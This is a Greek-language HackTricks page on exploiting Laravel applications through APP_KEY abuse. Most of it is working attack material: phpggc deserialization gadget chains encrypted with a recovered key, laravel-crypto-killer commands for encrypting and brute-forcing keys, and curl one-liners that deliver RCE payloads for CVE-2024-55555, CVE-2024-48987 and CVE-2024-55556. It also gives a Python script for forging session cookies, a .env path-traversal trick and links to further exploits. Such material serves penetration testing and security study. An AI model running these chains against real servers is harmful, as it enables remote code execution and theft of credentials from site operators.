Laravel

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Laravel SQLInjection

Διαβάστε πληροφορίες σχετικά με αυτό εδώ: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel \u003e=5.6)

Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με HMAC ακεραιότητα στο παρασκήνιο (Illuminate\\Encryption\\Encrypter). Ο ακατέργαστος κρυπτογραφημένος κώδικας που τελικά αποστέλλεται στον πελάτη είναι Base64 ενός αντικειμένου JSON όπως:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) θα serialize() το απλό κείμενο από προεπιλογή, ενώ decrypt($payload, $unserialize=true) θα αυτόματα unserialize() την αποκρυπτογραφημένη τιμή. Επομένως οποιοσδήποτε επιτιθέμενος που γνωρίζει το 32-byte μυστικό APP_KEY μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (__wakeup, __destruct, …).

Ελάχιστο PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Εισάγετε τη παραγόμενη συμβολοσειρά σε οποιαδήποτε ευάλωτη decrypt() πηγή (παράμετρος διαδρομής, cookie, συνεδρία, …).


laravel-crypto-killer 🧨

laravel-crypto-killer αυτοματοποιεί ολόκληρη τη διαδικασία και προσθέτει μια βολική λειτουργία bruteforce:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Το σενάριο υποστηρίζει διαφανώς τόσο τα payloads CBC όσο και GCM και αναγεννά το πεδίο HMAC/tag.


Πραγματικοί ευάλωτοι τύποι

ΈργοΕυάλωτη πηγήΑλυσίδα gadget
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie όταν είναι ενεργοποιημένο το Passport::withCookieSerialization()Laravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

Η ροή εκμετάλλευσης είναι πάντα:

  1. Αποκτήστε ή σπάστε το 32-byte APP_KEY.
  2. Δημιουργήστε μια αλυσίδα gadget με PHPGGC (για παράδειγμα Laravel/RCE13, Laravel/RCE9 ή Laravel/RCE15).
  3. Κρυπτογραφήστε το σειριακό gadget με laravel_crypto_killer.py και το ανακτηθέν APP_KEY.
  4. Παραδώστε το ciphertext στην ευάλωτη πηγή decrypt() (παράμετρος διαδρομής, cookie, συνεδρία …) για να ενεργοποιήσετε το RCE.

Παρακάτω παρατίθενται συνοπτικές γραμμές που δείχνουν τη πλήρη διαδρομή επίθεσης για κάθε πραγματικό CVE που αναφέρθηκε παραπάνω:

bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Επειδή κάθε νέα απάντηση του Laravel ρυθμίζει τουλάχιστον 1 κρυπτογραφημένο cookie (XSRF-TOKEN και συνήθως laravel_session), δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια κρυπτογραφημένα κείμενα που μπορούν να επιτεθούν εκτός σύνδεσης.

Κύρια ευρήματα της έρευνας που δημοσιεύθηκε από τη Synacktiv (2024-2025):

  • Σύνολο δεδομένων Ιουλίου 2024 » 580 k tokens, 3.99 % κλειδιά σπασμένα (≈23 k)
  • Σύνολο δεδομένων Μαΐου 2025 » 625 k tokens, 3.56 % κλειδιά σπασμένα
  • 1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε παλαιά CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα.

  • Μεγάλη επαναχρησιμοποίηση κλειδιών – οι Top-10 APP_KEYs είναι σκληρά κωδικοποιημένες προεπιλογές που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

Το ιδιωτικό εργαλείο Go nounours προωθεί την ταχύτητα brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια προσπάθειες/δευτερόλεπτο, μειώνοντας την πλήρη σπασμένη συλλογή δεδομένων σε <2 λεπτά.

Τέχνασμα Laravel

Λειτουργία αποσφαλμάτωσης

Εάν το Laravel είναι σε λειτουργία αποσφαλμάτωσης, θα μπορείτε να έχετε πρόσβαση στον κώδικα και σε ευαίσθητα δεδομένα.
Για παράδειγμα http://127.0.0.1:8000/profiles:

Αυτό συνήθως απαιτείται για την εκμετάλλευση άλλων CVEs RCE του Laravel.

.env

Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα διαπιστευτήρια μέσα σε ένα αρχείο που ονομάζεται .env το οποίο μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: /../.env

Το Laravel θα δείξει επίσης αυτές τις πληροφορίες μέσα στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο).

Χρησιμοποιώντας το μυστικό APP_KEY του Laravel μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε cookies:

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Deserialization RCE

Ευάλωτες εκδόσεις: 5.5.40 και 5.6.x έως 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Εδώ μπορείτε να βρείτε πληροφορίες σχετικά με την ευπάθεια αποσυμπίεσης εδώ: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Μπορείτε να το δοκιμάσετε και να το εκμεταλλευτείτε χρησιμοποιώντας https://github.com/kozmic/laravel-poc-CVE-2018-15133
Ή μπορείτε επίσης να το εκμεταλλευτείτε με το metasploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Μια άλλη αποσυμπίεση: https://github.com/ambionics/laravel-exploits

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks